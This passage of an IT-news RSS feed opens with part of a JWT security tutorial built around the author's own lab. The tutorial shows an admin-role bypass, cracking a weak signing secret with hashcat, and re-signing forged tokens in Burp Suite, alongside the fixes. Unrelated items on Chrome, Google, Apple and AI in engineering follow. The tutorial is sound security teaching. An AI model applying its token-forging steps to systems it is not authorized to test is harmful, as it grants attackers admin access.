&lt;p&gt;&lt;strong&gt;FLAG{JWT}&lt;/strong&gt;&lt;/p&gt;<br>    &lt;br&gt;<br>    &lt;a href="/index.html"&gt;Back to Home&lt;/a&gt;<br>&lt;/body&gt;<br>    &lt;script&gt;<br>        function getCookie(name) {<br>            return document.cookie.split('; ').find(r =&gt; r.startsWith(name + '='))?.split('=')[1];<br>        }<br>        function decodeJWT(token) {<br>            return JSON.parse(atob(token.split('.')[1]));<br>        }<br>        const token = getCookie('token');<br>        const payload = decodeJWT(token);<br>        if (payload.role !== 'admin') {<br>            alert('Access denied. You need to be an admin to view this page.');<br>        }<br>    &lt;/script&gt;<br>&lt;/html&gt;</pre><h3>Let’s Add Some Vulnerabilities</h3><p>Ok, so now we have our base code, and we need to implement the functionality that will make sure only people with the role admin can navigate to /admin. First off, run npm run dev to see your code actually start.</p><p>In a <em>very, very wrong</em> way we already tried implementing security in admin.html. When you look inside the &lt;script&gt; tags, you'll see that if the role is not admin, an alert will pop up. I added this because this was a real-life finding of mine. Some developer did not realise that even if your role isn't admin, you will be able to navigate to the page. The only 'annoying' thing is that you'll have to click OK on an alert box.</p><blockquote><em>It’s important to realise that these mistakes happen more often than you think. Developers with a lot on their plate, little sleep and not enough coffee can truly believe this is ‘secure’.</em></blockquote><p>So let’s now add some real security to the backend! Frontend ‘security’ is ridiculous to start with, so let’s do our very best.</p><p><strong>server.js</strong></p><pre>app.get('/admin', (req, res) =&gt; {<br>  const token = getToken(req);<br>  if (!token) return res.redirect('/');<br>  const payload = jwt.decode(token);<br>  if (!payload || payload.role !== 'admin') return res.status(403).send('Forbidden');<br>  res.sendFile(path.join(__dirname, 'admin.html'));<br>});</pre><p>Alright, let’s walk through this piece of code. First we look for the token — if there isn’t one, we redirect to /, which is a good strategy. Then we decode the JWT and check if the role is admin. If there's no token, or the role isn't admin, we get a 403.</p><p>Sounds solid, right? If everything checks out, the backend trusts you, because the token says you’re an admin.</p><p>So what’s the problem? The code does check if the role is admin, which is good. But it never checks whether that role actually belongs to you. That check should happen by verifying the JWT’s signature. This code doesn’t, because jwt.decode() only reads the payload, it doesn't verify anything. When the server originally signed this token, it signed it with role: user. If you change the payload to role: admin without re-signing it, the signature no longer matches what's in the token, but since nothing here checks the signature, that mismatch goes completely unnoticed.</p><p>That’s the bug: because that check never happens, we can just change the payload in Burp Suite and see the admin page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5_iPpy8etHFbeUZMEijxQg.png"></figure><p>There is a very easy way to solve this though. Instead of using jwt.decode(token) a developer should always use jwt.verify(token, JWT_SECRET). This code makes sure that function will create a signature and check that signature with the signature that has been sent. If there was any tampering with the JWT, this signature won't check out and your access to the restricted endpoint is denied.</p><p>So let’s update our code.</p><p><strong>server.js</strong></p><pre>app.get('/admin', (req, res) =&gt; {<br>  try {<br>    const payload = jwt.verify(getToken(req), JWT_SECRET);<br>    if (payload.role !== 'admin') return res.status(403).send('Forbidden');<br>    res.sendFile(path.join(__dirname, 'admin.html'));<br>  } catch {<br>    res.redirect('/');<br>  }<br>});</pre><p>If you now try the same thing, you’ll end up in the catch block, which will redirect you to / (our login page) because the signature will not check out.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1004/1*HdBUaxOXrt3RO4yj1jdwdw.png"></figure><p>So all safe now, right? Well let’s try something else… If you ever want to crack a secret, I can recommend hashcat. It's available on all platforms and easily installable.</p><p>For this attack we’ll need mode 16500 (this is just a way to tell hashcat what we want to do). We'll also need the flag -a 0, which will tell hashcat to use a wordlist we're gonna provide. Lastly, you'll see -d 1 — that's because I'm on a Mac with an M-chip.</p><p>The complete command looks like this: hashcat -m 16500 -a 0 &lt;JWT&gt; rockyou.txt -d1.</p><blockquote><em>Don’t forget to use the untampered token for this!</em></blockquote><pre>➜  wordlists hashcat -m 16500 -a 0 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJyb2xlIjoidXNlciIsImlhdCI6MTc4MzEwNDc0OX0.myFrub4u8yG3IeItDYKO-2Vci6sMfLaJ1OrlQDeuQfc rockyou.txt -d1<br>hashcat (v7.1.2) starting<br>&lt;skip&gt;<br>Dictionary cache hit:<br>* Filename..: rockyou.txt<br>* Passwords.: 14344384<br>* Bytes.....: 139921497<br>* Keyspace..: 14344384<br>eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJyb2xlIjoidXNlciIsImlhdCI6MTc4MzEwNDc0OX0.myFrub4u8yG3IeItDYKO-2Vci6sMfLaJ1OrlQDeuQfc:secret<br>                                                          <br>Session..........: hashcat<br>Status...........: Cracked<br>Hash.Mode........: 16500 (JWT (JSON Web Token))<br>Hash.Target......: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZS...DeuQfc</pre><p>As you can see, at the end of our JWT there is a colon with our JWT_SECRET written behind it.</p><p>Now let’s abuse this knowledge we have gained. In Burp Suite we’ll use functionality that will sign our tampered JWT so that the code will verify it, and the signature will check out.</p><p>In Burp Suite, click on the JWT editor on the top right corner, and choose the option ‘New Symmetric Key’. Once you have that, click specify secret and fill in the cracked JWT_SECRET in there. Give it an ID and click OK.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Jjzbxce5FoutFU5V4XJZqQ.png"></figure><p>Once you have that, go back to Repeater, change the role back to ‘admin’, click sign and select the ID you just made.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F-CceFWjnUVgb4tpiq6xGw.png"></figure><p>And now, we have successfully evaded the security that was in place.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YHQgmBNWdmUDecjOmX92Rg.png"></figure><h3>Lessons We Should Learn About This</h3><p>As you saw, correctly implementing a JWT is only the first step of coding securely. Having a strong password policy, even when it’s not really enforceable, is very important. Don’t use ‘secret’ as your JWT_SECRET</p><p>One thing I already mentioned, but what I want to stress again is NEVER EVER store your JWT secret as a hardcoded variable, like we did with JWT_SECRET = 'secret'. Your code will probably live on GitHub where all kinds of stupid things can happen. A secret belongs in a .env file that is in your .gitignore and lives only on your dev machine and on the server, NOT in your code.</p><blockquote>I break web apps for fun, make vulnerable labs to learn, and write about it so you can too.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=6d94a963b07d" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/two-ways-to-mess-up-your-jwt-safety-net-in-your-own-lab-6d94a963b07d">Two Ways To Mess Up Your JWT Safety Net In Your Own Lab.</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
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<title><![CDATA[Chrome Beta for Desktop Update]]></title>
<description><![CDATA[The Beta channel has been updated to 151.0.7922.47 for Windows, Mac and Linux.A partial list of changes is available in the Git log. Interested in switching release channels? Find out how. If you find a new issue, please let us know by filing a bug. The community help forum is also a great place ...]]></description>
<link>https://tsecurity.de/de/3687357/it-security-nachrichten/chrome-beta-for-desktop-update/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687357/it-security-nachrichten/chrome-beta-for-desktop-update/</guid>
<pubDate>Wed, 22 Jul 2026 20:58:57 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The Beta channel has been updated to 151.0.7922.47 for Windows, Mac and Linux.</p><p>A partial list of changes is available in the <a href="https://chromium.googlesource.com/chromium/src/+log/151.0.7922.34..151.0.7922.47?pretty=fuller&amp;n=10000">Git log</a>. Interested in <a href="https://www.chromium.org/getting-involved/dev-channel/">switching</a> release channels? Find out <a href="https://www.chromium.org/getting-involved/dev-channel/">how</a>. If you find a new issue, please let us know by <a href="https://crbug.com/">filing a bug</a>. The <a href="https://productforums.google.com/forum/#!forum/chrome">community help forum</a> is also a great place to reach out for help or learn about common issues.</p><p>Chrome Release Team<br><a href="https://www.google.com/chrome"></a><a href="https://www.google.com/chrome">Google Chrome</a></p>]]></content:encoded>
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<title><![CDATA[Early Stable Update for Desktop]]></title>
<description><![CDATA[ The Stable channel has been updated to 151.0.7922.47/.48 for Windows and Mac as part of our early stable release to a small percentage of users. A full list of changes in this build is available in the log.You can find more details about early Stable releases here.Interested in switching release...]]></description>
<link>https://tsecurity.de/de/3687356/it-security-nachrichten/early-stable-update-for-desktop/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687356/it-security-nachrichten/early-stable-update-for-desktop/</guid>
<pubDate>Wed, 22 Jul 2026 20:58:54 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p> <span>The Stable channel has been updated to </span><span>151.0.7922.47/.48</span><span> for Windows and</span><span> </span><span>Mac </span><span>as part of our early stable release to a <span>small percentage of users. </span>A full list of changes in this build is available in the</span><span> </span><span color="rgba(0, 0, 0, 0.87)"><a href="https://chromium.googlesource.com/chromium/src/+log/151.0.7922.34..151.0.7922.48?pretty=fuller&amp;n=10000">log</a></span><span>.</span></p><div class="post-body"><div class="post-content post-original" itemprop="articleBody"><div class="post-body"><div class="post-content post-original" itemprop="articleBody"><p dir="ltr"><span><span>You can find more details about early Stable releases </span><a href="https://developer.chrome.com/blog/early-stable/"><span>here</span></a><span>.</span></span></p><p dir="ltr"><span>Interested in switching release channels?  Find out how </span><a href="https://www.chromium.org/getting-involved/dev-channel"><span>here</span></a><span>. If you find a new issue, please let us know by </span><a href="https://crbug.com/"><span>filing a bug</span></a><span>. </span><span>The </span><a href="https://support.google.com/chrome/community"><span>community help forum</span></a><span> is also a great place to reach out for help or learn about common issues.</span></p><p><span color="rgba(0, 0, 0, 0.87)"><br></span></p><p dir="ltr"><span>Daniel Yip</span></p><p dir="ltr"><span>Google Chrome</span></p></div></div></div></div>]]></content:encoded>
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<title><![CDATA[Before you disable Google Play Protect, here's what you need to know]]></title>
<description><![CDATA[Some Android users find the security feature to be too restrictive. Here's how to disable it and what you risk by doing so.]]></description>
<link>https://tsecurity.de/de/3687346/it-nachrichten/before-you-disable-google-play-protect-heres-what-you-need-to-know/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687346/it-nachrichten/before-you-disable-google-play-protect-heres-what-you-need-to-know/</guid>
<pubDate>Wed, 22 Jul 2026 20:48:27 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Some Android users find the security feature to be too restrictive. Here's how to disable it and what you risk by doing so.]]></content:encoded>
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<title><![CDATA[Google Meet now organizes your meeting notes, transcripts, and recordings in your Google Drive]]></title>
<description><![CDATA[We’re making it easier for users to find meeting notes, transcripts and recordings in Google Drive with the following improvements:After a meeting, we’ll automatically upload these files to a new folder in the host’s My Drive called “Google Meet.”Within that “Google Meet” folder, these files will...]]></description>
<link>https://tsecurity.de/de/3687297/web-tipps/google-meet-now-organizes-your-meeting-notes-transcripts-and-recordings-in-your-google-drive/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687297/web-tipps/google-meet-now-organizes-your-meeting-notes-transcripts-and-recordings-in-your-google-drive/</guid>
<pubDate>Wed, 22 Jul 2026 20:31:36 +0200</pubDate>
<category>Web Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>We’re making it easier for users to find <a href="https://support.google.com/meet/answer/14754931?hl=en&amp;ref_topic=14073938&amp;sjid=8385333923985479419-NA" target="_blank">meeting notes</a>, <a href="https://support.google.com/meet/answer/12849897?hl=en&amp;ref_topic=14074639&amp;sjid=8385333923985479419-NA" target="_blank">transcripts</a> and <a href="https://support.google.com/meet/answer/9308681?sjid=8385333923985479419-NA" target="_blank">recordings</a> in Google Drive with the following improvements:</p><p></p><ul><li>After a meeting, we’ll automatically upload these files to a new folder in the host’s My Drive called “Google Meet.”</li><li>Within that “Google Meet” folder, these files will be automatically organized into subfolders for each meeting. Files from different instances of a recurring meeting will share one folder.</li><li>Any meeting attendees with access to the meeting files will see shortcuts to these source files in their “Google Meet” Drive folders too..</li></ul><p></p><p>Previously, these files were only uploaded to the host’s My Drive, not the attendees’, and the files weren’t organized by meeting.</p><p><b>Note: </b>Shortly after we roll out this change, we’ll automatically move the existing “Meet Recordings” folder into the new “Google Meet” folder and rename it “Legacy Meet Recordings.” Users may see both “Meet Recordings” and “Google Meet” in their Google Drive for a brief period during this transition.</p><p><br></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjif_xiHfQODyvVZEK_IgvjWOBfXcMxvi-TjSnhY1uHzaxm4DVMj8KHMqT6EjNwfTtL0a3H6kGjHZURCwJAeMRA3nHUIRb1qjsuogkjDz2k_JMPHhVvdoR6KAHrmpFslOzpnBP1UMaQOaylbUiBRVUSfzEx58SgmgTNK_XEeclBatwlU3nJVDBCAWaCk3c/s2048/Google%20Meet%20now%20organizes%20your%20meeting%20notes,%20transcripts,%20and%20recordings%20in%20your%20Google%20Drive%20-%207148.jpeg" imageanchor="1"><img border="0" data-original-height="1152" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjif_xiHfQODyvVZEK_IgvjWOBfXcMxvi-TjSnhY1uHzaxm4DVMj8KHMqT6EjNwfTtL0a3H6kGjHZURCwJAeMRA3nHUIRb1qjsuogkjDz2k_JMPHhVvdoR6KAHrmpFslOzpnBP1UMaQOaylbUiBRVUSfzEx58SgmgTNK_XEeclBatwlU3nJVDBCAWaCk3c/s1600/Google%20Meet%20now%20organizes%20your%20meeting%20notes,%20transcripts,%20and%20recordings%20in%20your%20Google%20Drive%20-%207148.jpeg"></a></div><h3>Getting started</h3><p></p><ul><li><b>Admins: </b>Existing "Meet Recordings" folders will be renamed to "Legacy Meet Recordings" and moved under the new "Google Meet" folder topology. Admins should audit any API scripts or automated workflows that rely on specific folder names or IDs.</li><li><b>End users: </b>Users will see their meeting artifacts automatically organized into meeting-specific sub-folders within the "Google Meet" folder, with shortcuts for easier findability.</li></ul><p></p><h3>Rollout pace</h3><p></p><ul><li><a href="https://support.google.com/a/answer/172177" target="_blank">Rapid Release domains:</a> Full rollout (1–3 days for feature visibility) starting on July 22, 2026</li><li><a href="https://support.google.com/a/answer/172177" target="_blank">Scheduled Release domains:</a> Full rollout (1–3 days for feature visibility) starting on July 30, 2026</li></ul><p></p><h3>Availability</h3><p></p><ul><li>Available to all Google Workspace customers</li></ul><p></p><h3>Resources</h3><p></p><ul><li>Google Meet Help: <a href="https://support.google.com/meet/answer/9308681" target="_blank">Record a video meeting</a></li><li>Google Meet Help: <a href="https://support.google.com/meet/answer/14754931?hl=en&amp;ref_topic=14073938&amp;sjid=8385333923985479419-NA" target="_blank">Take notes for me in Google Meet</a></li></ul><p></p>]]></content:encoded>
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<title><![CDATA[Arozzi Vernazza Supersoft review: 'The most comfortable office chair I've worked in']]></title>
<description><![CDATA[See beyond its standard looks and you'll find the Arozzi Vernazza Supersoft is a supremely comfortable, sturdy, and durable gaming and office chair.]]></description>
<link>https://tsecurity.de/de/3687227/it-nachrichten/arozzi-vernazza-supersoft-review-the-most-comfortable-office-chair-ive-worked-in/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687227/it-nachrichten/arozzi-vernazza-supersoft-review-the-most-comfortable-office-chair-ive-worked-in/</guid>
<pubDate>Wed, 22 Jul 2026 20:14:42 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[See beyond its standard looks and you'll find the Arozzi Vernazza Supersoft is a supremely comfortable, sturdy, and durable gaming and office chair.]]></content:encoded>
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<title><![CDATA[iPhone 18 Pro Release Date: Here’s Exactly When Apple Is Expected to Launch It]]></title>
<description><![CDATA[Apple is expected to unveil the iPhone 18 Pro this September, continuing its long-running tradition of launching new flagship iPhones in the fall. While the company has not confirmed an official date yet, multiple reports and Apple's previous launch history point to an announcement during the sec...]]></description>
<link>https://tsecurity.de/de/3687150/ios-mac-os/iphone-18-pro-release-date-heres-exactly-when-apple-is-expected-to-launch-it/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687150/ios-mac-os/iphone-18-pro-release-date-heres-exactly-when-apple-is-expected-to-launch-it/</guid>
<pubDate>Wed, 22 Jul 2026 19:26:27 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple is expected to unveil the iPhone 18 Pro this September, continuing its long-running tradition of launching new flagship iPhones in the fall. While the company has not confirmed an official date yet, multiple reports and Apple's previous launch history point to an announcement during the second week of September.



This year could also bring one of the biggest changes to Apple's iPhone launch strategy. Instead of releasing the entire iPhone 18 lineup together, reports suggest Apple will focus on its premium models first, with the standard iPhone 18 arriving several months later in early 2027.



When will Apple announce the iPhone 18 Pro?



Apple has followed a very consistent launch schedule over the past several years.



Here are the recent iPhone announcement dates:



iPhoneAnnouncement DateiPhone 17September 9, 2025iPhone 16September 9, 2024iPhone 15September 12, 2023



Based on this pattern, industry watchers expect Apple to hold its iPhone 18 event on either:




Wednesday, September 9, 2026



Monday, September 14, 2026




The slight uncertainty comes from the Labor Day calendar this year, which falls later than usual. Apple often schedules its iPhone event shortly after the holiday, making both dates realistic possibilities.



Expected iPhone 18 Pro release date



Apple usually opens pre-orders on the Friday after announcing new iPhones, followed by retail availability one week later.



If Apple announces the iPhone 18 lineup on September 9, the expected schedule would be:



EventExpected DateAnnouncementSeptember 9Pre-ordersSeptember 11ReleaseSeptember 18



If Apple chooses September 14 instead, the schedule would likely be:



EventExpected DateAnnouncementSeptember 14Pre-ordersSeptember 18ReleaseSeptember 25



Unless Apple changes its usual launch pattern, buyers should expect to receive the iPhone 18 Pro on either September 18 or September 25.



Which iPhone models are expected this fall?



Reports suggest Apple will introduce only its premium devices during the September event.



The expected lineup includes:




iPhone 18 Pro



iPhone 18 Pro Max



iPhone Ultra




There are also mixed reports about a new iPhone Air joining the lineup, although its release timing remains unclear. Meanwhile, the regular iPhone 18 is widely expected to launch in spring 2027 instead of September.



What could be new on the iPhone 18 Pro?







Although Apple has not officially revealed any features, recent leaks point to several notable upgrades.



Expected improvements include:




A new A20 Pro chip built on a 2nm manufacturing process



A smaller Dynamic Island with more Face ID components placed under the display



Camera upgrades, including a possible variable aperture system



Improved battery efficiency



Apple's next-generation C2 modem for better connectivity



New color options for the Pro models




As with all pre-release reports, these features remain rumors until Apple makes an official announcement.



Why is Apple reportedly delaying the standard iPhone 18?



Several reliable reports indicate Apple plans to split its iPhone launches into two seasons. Premium models would continue arriving in September, while the standard iPhone 18 and iPhone 18e would move to spring 2027.



This strategy would allow Apple to give more attention to its high-end devices during the holiday shopping season while creating another major product launch in the first half of the following year.



Expected iPhone 18 Pro launch timeline



Here is the most likely schedule based on current reports:



StageExpected TimingApple eventSeptember 9 or September 14, 2026Pre-ordersSeptember 11 or September 18Official releaseSeptember 18 or September 25Available modelsiPhone 18 Pro, iPhone 18 Pro Max, iPhone Ultra



Wrap Up



Apple has not announced the iPhone 18 Pro release date yet, but its launch history makes early to mid September the strongest prediction. If the company follows its familiar schedule, pre-orders will begin within days of the announcement, and the first devices will reach customers before the end of September.



At the same time, this year's launch could mark the beginning of a new release strategy, with the standard iPhone 18 arriving several months after the Pro models.]]></content:encoded>
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<title><![CDATA[Own nothing, upgrade everything: Apple’s new Klarna deal]]></title>
<description><![CDATA[Just in time for the iPhone’s 20th anniversary, Apple is moving closer to becoming a service company. It is set to launch its new deal with Klarna next week and when it does, Apple enthusiasts in the US will effectively be able to subscribe to their favorite Apple hardware, with the cost spread a...]]></description>
<link>https://tsecurity.de/de/3687133/it-nachrichten/own-nothing-upgrade-everything-apples-new-klarna-deal/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687133/it-nachrichten/own-nothing-upgrade-everything-apples-new-klarna-deal/</guid>
<pubDate>Wed, 22 Jul 2026 19:18:48 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">Just in time for the iPhone’s 20th anniversary, Apple is moving closer to becoming a service company. It is set to <a href="https://www.reuters.com/business/apple-launch-upgrade-device-leasing-program-spur-sales-bloomberg-news-reports-2026-07-21/" target="_blank" rel="noreferrer noopener">launch its new deal</a> with Klarna next week and when it does, Apple enthusiasts in the US will effectively be able to subscribe to their favorite Apple hardware, with the cost spread across up to three years.</p>



<p class="wp-block-paragraph">This matters because when combined with Apple One and Apple’s Creator Studio subscriptions, the Klarna arrangement brings Apple closer to offering a full subscription model for hardware, software, and services. The only thing you don’t get under the new arrangement is AppleCare, for which you’ll allegedly need to pay extra.</p>



<h2 class="wp-block-heading"><strong>Moving closer to hardware-as-a-service</strong></h2>



<p class="wp-block-paragraph">Apple has slowly been <a href="https://www.applemust.com/opinion-how-you-will-access-apple-products-in-future/#google_vignette" target="_blank" rel="noreferrer noopener">transitioning toward</a> hardware-as-a-service for almost a decade. Back then, Forrester analyst <a href="https://www.applemust.com/apple-klarna-mean-we-can-now-get-apple-as-a-service/" target="_blank" rel="noreferrer noopener">Frank Gillet predicted</a> the company would eventually offer bundles of services and products for a monthly, all-in, fee. </p>



<p class="wp-block-paragraph">This isn’t quite where we are yet; you still need at least three subscriptions to get close. But, after the better part of a decade, Apple has moved much nearer to the hardware-as-a-service idea.</p>



<p class="wp-block-paragraph">There are some products reportedly excluded from the arrangement, including MacBook Neo, Apple Watch SE, the entry-level iPad, and iPhone 16. Clearly, Apple sees those products as sufficiently affordable. </p>



<h2 class="wp-block-heading"><strong>Easy payments for RAM-ageddon</strong></h2>



<p class="wp-block-paragraph">The new Klarna arrangement comes as Apple is forced to increase product prices as AI-driven memory price inflation becomes widely felt across every economy. In theory, I assume, Apple hopes to make its products available to cash-strapped consumers who need new hardware, while also navigating a time of deep economic tumult and uncertainty. It’s thought the company has <a href="https://www.bloomberg.com/news/newsletters/2025-04-06/will-apple-raise-iphone-prices-in-the-us-after-trump-tariffs-iphone-17-details" target="_blank" rel="noreferrer noopener">previously rejected these plans</a> to protect normal hardware sales, but normality is a kingdom we no longer seem to possess. Interesting times. Probable inflation incoming.</p>



<p class="wp-block-paragraph">“Apple Upgrade lands at precisely the moment Apple needs it,” IDC analyst Francisco Jeronimo wrote in a note seen by <em>Computerworld</em>. “Having just pushed Mac and iPad prices up on the back of the memory shortage, with iPhone increases widely expected in September — as well as the new iPhone foldable expected at $2,500 — Apple’s real risk is that rising prices even further can impact the upgrade cycle.” </p>



<h2 class="wp-block-heading"><strong>New age, new shopping habits</strong></h2>



<p class="wp-block-paragraph">The introduction of the scheme gives consumers a way to purchase the company’s popular high-end devices when they are introduced — no doubt,at higher cost — this fall. Plus, of course, if it’s <a href="https://www.businessinsider.com/general-motors-gm-earnings-subscriptions-revenue-business-2026-1" target="_blank" rel="noreferrer noopener">good enough for GM</a>, it’s good enough for Apple.</p>



<p class="wp-block-paragraph">It’s all about attitude, too. From Apple’s perspective, it <a href="https://www.computerworld.com/article/4125784/are-you-ready-for-apple-as-a-service.html">has done plenty of the groundwork</a> required to <a href="https://www.applemust.com/apple-vp-eddy-cue-shares-15-important-apple-services-stats/" target="_blank" rel="noreferrer noopener">convince its customers</a> that subscription payments for things you value are no bad thing. </p>



<p class="wp-block-paragraph">Reluctance to embrace “Access Not Ownership’”purchasing models has dropped dramatically since Apple — and <a href="https://www.computerworld.com/article/1665439/apples-tim-cook-has-kept-his-50b-services-promises.html">CEO Tim Cook</a> — first began <a href="https://www.applemust.com/apples-50b-services-target-just-isnt-ambitious-enough/">banging the drum</a> for services income. Apple’s services stream has now become its second-biggest revenue driver after the iPhone. It has over 1 billion paid subscriptions, and an active hardware installed base of <a href="https://www.computerworld.com/article/4168225/wwdc-2026-how-apple-can-take-a-great-leap-in-ai.html">more than 2.5 billion devices globally</a>.</p>



<p class="wp-block-paragraph">A combination of changed customer habits and external threat means the stars are now aligned for hardware-as-a-service models. “Reframing a device as a low monthly payment protects that [upgrade] cadence and allows Apple to start marketing their products as device-as-a-service to consumers, which no other vendor was ever able to do,” Jeronimo wrote to me. </p>



<p class="wp-block-paragraph">There is a one-more-thing aspect to this: the products are effectively being leased, a new approach that will give Apple a stronger grip on EOL devices, helping it grab more of them for refurbishment, resale, and recycling. Over time, this will give the company a much stronger grip on the lucrative second-user market that exists around Apple equipment, even while for almost every consumer product we find the life we want is something we can rent, but <a href="https://medium.com/from-heart-to-hand/the-subscription-society-what-happens-when-you-own-nothing-ef32d5bc32d2" target="_blank" rel="noreferrer noopener">probably can’t afford to own</a>.</p>



<h2 class="wp-block-heading"><strong>Managing future risk</strong></h2>



<p class="wp-block-paragraph">The other solid reason to take a partnership approach is risk management. Apple had intended to develop its own buy-now, pay-later scheme via Apple Pay Later, but <a href="https://www.bbc.co.uk/news/articles/c255y82y9x8o" target="_blank" rel="noreferrer noopener">abandoned that plan</a> as it became riskier with rising bank rates. “Also, by backing the program with Klarna rather than reviving the in-house subscription plan it shelved in 2024, Apple captures the demand upside without taking the credit risk onto its own balance sheet,” Jeronimo said.</p>



<p class="wp-block-paragraph"><em>You can follow me on social media! Join me on <a href="https://bsky.app/profile/jonnyevanssays.bsky.social" target="_blank" rel="noreferrer noopener">BlueSky</a>,  <a href="http://www.linkedin.com/in/jonnyevans" target="_blank" rel="noreferrer noopener">LinkedIn</a>, <a href="https://social.vivaldi.net/@jonnyevans" target="_blank" rel="noreferrer noopener">Mastodon</a> and subscribe to <a href="https://thecorenews.substack.com/p/welcome-to-the-core?r=5l3lg" target="_blank" rel="noreferrer noopener">The Core</a>.</em></p>
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<title><![CDATA[How to Make AI Tools Work Reliably for Growing Teams]]></title>
<description><![CDATA[Learn how growing teams make AI tools reliable with clear workflows, shared rules, secure systems, and repeatable processes that improve quality and speed daily This article has been indexed from Hackread – Cybersecurity News, Data Breaches, AI and More Read…
Read more →
The post How to Make AI T...]]></description>
<link>https://tsecurity.de/de/3687039/it-security-nachrichten/how-to-make-ai-tools-work-reliably-for-growing-teams/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687039/it-security-nachrichten/how-to-make-ai-tools-work-reliably-for-growing-teams/</guid>
<pubDate>Wed, 22 Jul 2026 18:38:53 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Learn how growing teams make AI tools reliable with clear workflows, shared rules, secure systems, and repeatable processes that improve quality and speed daily This article has been indexed from Hackread – Cybersecurity News, Data Breaches, AI and More Read…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/how-to-make-ai-tools-work-reliably-for-growing-teams/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/how-to-make-ai-tools-work-reliably-for-growing-teams/">How to Make AI Tools Work Reliably for Growing Teams</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[The engineering bottleneck has changed. Is your org prepared?]]></title>
<description><![CDATA[AI agents can turn a clear description into working software, the engineer’s judgement is what makes the difference: deciding what to build, catching the tradeoff the agent didn’t know to weigh, and owning the call on whether the result is right.



That judgement has always been the hard part of...]]></description>
<link>https://tsecurity.de/de/3687009/it-security-nachrichten/the-engineering-bottleneck-has-changed-is-your-org-prepared/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687009/it-security-nachrichten/the-engineering-bottleneck-has-changed-is-your-org-prepared/</guid>
<pubDate>Wed, 22 Jul 2026 18:28:04 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">AI agents can turn a clear description into working software, the engineer’s judgement is what makes the difference: deciding what to build, catching the tradeoff the agent didn’t know to weigh, and owning the call on whether the result is right.</p>



<p class="wp-block-paragraph">That judgement has always been the hard part of engineering. It just used to be bundled into the act of writing code, where a skilled engineer did it while typing. As agents take on more of the typing, that judgement separates out and becomes the clear center of the role. Leaders who adapt early will get their metrics, their talent pipelines, and their delivery models working with this shift rather than against it.</p>



<h3 class="wp-block-heading">Judgement is defining, constraining, and deciding</h3>



<p class="wp-block-paragraph">Judgement is all about defining the problem precisely enough that an agent builds the right thing. It’s setting the constraints the agent won’t infer on its own. It’s spotting the tradeoff buried three layers down that only shows up if you understand the system. And it’s looking at a finished implementation and knowing whether it’s genuinely good enough to ship.</p>



<p class="wp-block-paragraph">This is the harder part of the job and the real driver of quality. It was easy to underrate when it lived inside day-to-day coding. Now it’s what separates a strong team from an average one.</p>



<h3 class="wp-block-heading">The shift changes where time, growth, and metrics go</h3>



<p class="wp-block-paragraph">If the high-value activity is intent, review, and judgement rather than raw output, a few assumptions are worth revisiting.</p>



<p class="wp-block-paragraph"><strong>Where engineers spend their time.</strong> Less of the day goes to producing boilerplate and mechanical implementation, and more goes to the reasoning that used to get squeezed to the edges: framing the problem and owning the judgement calls that determine quality.</p>



<p class="wp-block-paragraph"><strong>How teams grow their people.</strong> Defining problems well, spotting risk, and critically evaluating work you didn’t write yourself have always been senior skills. When agents handle more of the mechanical work, those skills become learnable earlier. That puts the emphasis on leaders to teach the reasoning: why a choice gets made and how to weigh the tradeoffs that come with it.</p>



<p class="wp-block-paragraph"><strong>What you measure.</strong> Lines shipped, tickets closed, and velocity charts all measured throughput of the old scarce resource. They say very little about the new one. The teams that adapt will start measuring the quality of intent going in and the reliability of judgement coming out, because that’s where the results now live.</p>



<h3 class="wp-block-heading">Reinvest the time you get back</h3>



